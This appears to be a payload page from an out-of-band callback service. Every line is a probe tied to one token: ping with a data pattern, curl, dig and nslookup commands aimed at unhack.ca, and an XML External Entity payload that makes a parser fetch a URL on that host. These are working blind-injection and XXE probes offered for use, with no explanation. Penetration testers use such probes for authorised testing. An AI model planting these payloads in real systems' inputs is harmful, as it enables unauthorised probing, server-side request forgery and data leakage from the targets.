$ ping -c1 -p 00a86aae9e3e374e616e4effebfd3a00 unhack.ca
 

$ curl http://unhack.ca/p/a86aae9e3e374e616e4effebfd3a
 

$ dig a86aae9e3e374e616e4effebfd3a @unhack.ca
 

$ dig a86aae9e3e374e616e4effebfd3a.ns.unhack.ca
 

C:\> nslookup a86aae9e3e374e616e4effebfd3a unhack.ca
 

<?xml version="1.0" encoding="ISO-8859-1"?>
    <!DOCTYPE foo [<!ELEMENT foo ANY>
    <!ENTITY xxe SYSTEM "http://unhack.ca/p/a86aae9e3e374e616e4effebfd3a">]>
    <foo>&xxe;</foo>